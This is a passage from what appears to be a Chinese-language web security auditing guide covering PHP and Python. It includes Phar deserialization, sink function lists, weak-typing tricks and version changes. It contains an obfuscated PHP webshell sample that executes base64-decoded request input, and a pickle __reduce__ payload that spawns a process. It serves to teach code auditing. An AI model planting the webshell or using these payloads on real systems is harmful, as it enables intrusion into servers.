$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___(base64_decode($_[_]));
检测对抗
  • 基于混淆影响程序分析
  • 基于动态变量影响程序执行
  • 抛出异常打断数据流分析
  • 基于反射打断数据流分析
  • 基于引用传递打断数据流分析

Phar

简介

Phar(PHP Archive)文件是一种打包格式,将PHP代码文件和其他资源放入一个文件中来实现应用程序和库的分发。

在来自Secarma的安全研究员Sam Thomas在18年的Black Hat上提出后利用方式后,开始受到广泛的关注。

Phar可利用是因为Phar以序列化的形式存储用户自定义的meta-data,而以流的形式打开的时候,会自动反序列化,从而触发对应的攻击载荷。

Phar文件结构

Phar由四个部分组成,分别是 stub / manifest / 文件内容 / 签名。 stub 需要 __HALT_COMPILER(); 这个调用在PHP代码中。

manifest 包含压缩文件的权限、属性、序列化形式存储的meta-data等信息,这是攻击的核心部分,主要就是解析Phar时对meta-data的反序列化。

原理

phar的实现在 php-src/ext/phar/phar.c 中,主要是 phar_parse_metadata 函数在解析phar文件时调用了 php_var_unserialize ,因而造成问题。

而php在文件流处理过程中会调用 _php_stream_stat_path (/main/streams/streams.c) ,而后间接调用 phar_wrapper_stat ,所以大量的文件操作函数都可以触发phar的反序列问题。

目前已知部分的触发函数有:

fileatime / filectime / filemtime /stat / fileinode / fileowner / filegroup / fileperms / file / file_get_contents / readfile / fopen / file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable / parse_ini_file / unlink / copy / exif_thumbnail / exif_imagetype / imageloadfont / imagecreatefrom*** / hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file / get_meta_tags / get_headers / getimagesize / getimagesizefromstring

Sink

任意代码执行
  • eval
  • assert
  • call_user_func
执行系统命令
  • pcntl_exec
  • exec
  • passthru
  • popen
  • shell_exec
  • system
  • proc_open
Magic函数
  • __construct() 构建对象的时被调用
  • __destruct() 销毁对象或脚本结束时被调用
  • __call() 调用不可访问或不存在的方法时被调用
  • __callStatic() 调用不可访问或不存在的静态方法时被调用
  • __get() 读取不可访问或不存在属性时被调用
  • __set() 给不可访问或不存在属性赋值时被调用
  • __isset() 对不可访问或不存在的属性调用 issetempty() 时被调用
  • __unset() 对不可访问或不存在的属性进行 unset 时被调用
  • __sleep() 对象序列化时被调用
  • __wakeup() 对象反序列化时被调用,其中序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
  • __toString() 当一个类被转换成字符串时被调用
  • __invoke() 对象被以函数方式调用时被调用
  • __set_state() 调用 var_export() 导出类时被调用
  • __clone() 进行对象clone时被调用
  • __debugInfo() 调用 var_dump() 打印对象时被调用
文件相关敏感函数
  • move_uploaded_file
  • file_put_contents / file_get_contents
  • unlink
  • fopen / fgets
SSRF
  • file_get_contents()
  • fsockopen()
  • curl_exec()
  • fopen()
  • readfile()
phar 触发点
  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen`
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy
  • exif
    • exif_thumbnail
    • exif_imagetype
  • gd
    • imageloadfont
    • imagecreatefrom***
  • hash
    • hash_hmac_file
    • hash_file
    • hash_update_file
    • md5_file
    • sha1_file
  • file / url
    • get_meta_tags
    • get_headers
  • standard
    • getimagesize
    • getimagesizefromstring

其它

低精度

php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。 比如 php -r "var_dump(0.2+0.7==0.9);" 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情况下可能出现问题。

弱类型

如果使用 == 来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等。 另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php" 的结果会是true

另外在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。

同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常,返回NULL。

命令执行

preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行

截断

PHP字符存在截断行为,可以使用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞。

变量覆盖

当使用 extract / parse_str 等函数时,或者使用php的 $$ 特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。

php特性
  • php自身在解析请求的时候,如果参数名字中包含" "、"."、"["这几个字符,会将他们转换成下划线
  • 由于历史原因, urlencode 和RFC3896存在一定的不同,PHP另外提供了 rawurlencode 对RFC3896完成标准的实现
/tmp临时文件竞争

phpinfo可访问时,可以看到上传的临时文件的路径,从而实现LFI。

版本安全改动

8.0
  • 字符串数字弱类型比较
  • 内部参数内省错误时抛出异常而不是警告
  • assert 不再支持执行代码
  • 移除 create_function
  • 移除 mb_ereg_replace() 中的e模式
  • Phar中的元信息不再自动进行反序列化
  • parse_str 必须传入第二个参数
  • 移除 php://filter 中的 string.strip_tags
7.2
  • 不带引号的字符串 会产生 E_WARNING
  • create_function 被废弃
  • assert 不能传入字符串表达式
  • 不带第二个参数的情况下使用 parse_str() 会产生 E_DEPRECATED 警告
  • __autoload() 被废弃
7.1
  • 调用用户定义的函数提供的参数不足会抛出错误异常而不是警告
  • 在不完整的对象上不再调用析构方法
  • call_user_func() 不再支持对传址的函数的调用
  • mb_ereg_replace() 和 mb_eregi_replace() 的e模式修饰符被废弃
  • ext/mcrypt 被废弃
7.0
  • preg_replace "e" 修饰符 产生 E_WARNING 错误 且失效
  • 移除 所有 ext/mysql 函数
  • 移除 所有 ext/mssql 函数
  • 移除 call_user_method() 和 call_user_method_array()
  • foreach 不再改变内部数组指针
  • 在之前,一个八进制字符如果含有无效数字,该无效数字将被静默删节 ( 0128 将被解析为 012),现在这样的八进制字符将产生解析错误
  • 十六进制字符串不再被认为是数字
  • dl() 在 PHP-FPM 不再可用,在 CLI 和 embed SAPIs 中仍可用
  • 移除 ASP 和 script PHP 标签,即 <% %> / <%= %> / <script language="php"> </script>
  • 在数值溢出的时候,内部函数将会失败
  • $HTTP_RAW_POST_DATA 被移除
5.6
  • $HTTP_RAW_POST_DATA 被废弃
  • 必须先设置 CURLOPT_SAFE_UPLOAD 为 FALSE 才能够使用 @file 语法来上传文件
5.5
  • preg_replace "e" 修饰符 产生 E_DEPRECATED 错误
  • 废弃 mysql_* 系列函数
5.4
  • 不再支持 安全模式
  • 移除 魔术引号
  • 数组转换成字符串将产生一条 E_NOTICE 级别的错误

Tricks

  • is_numeric 前后有空格时,不会判断为true
  • 松散比较时,两个0e开头的不同哈希会判断为相等
  • 松散比较时,非数字的字符串序列和数字比较会自动转换
  • strcmp/ereg 等函数在传入参数类型为数组时会有非预期行为

Python

格式化字符串

在Python中,有两种格式化字符串的方式,在Python2的较低版本中,格式化字符串的方式为 "this is a %s" % "test" ,之后增加了format的方式, 语法为 "this is a {}".format('test') 或者 "this is a {test}".format(test='test')

当格式化字符串由用户输入时,则可能会造成一些问题,下面是一个最简单的例子

>>> 'class of {0} is {0.__class__}'.format(42)
"class of 42 is <class 'int'>"

从上面这个简单的例子不难知道,当我们可以控制要format的字符串时,则可以使用 __init__ / __globals__ 等属性读取一些比较敏感的值,甚至任意执行代码。

反序列化

pickle demo

Python Pickle在反序列化时会调用 __reduce__ ,可用自定义的 __reduce__ 函数来实现攻击。

import pickle
import pickletools
import subprocess

class A(object):
    a = 1
    b = 2
    def __reduce__(self):
        return (subprocess.Popen, (('cmd.exe',),))

data = pickle.dumps(A())
pickletools.dis(data)
其他序列化库
  • PyYAML
  • marshal
  • shelve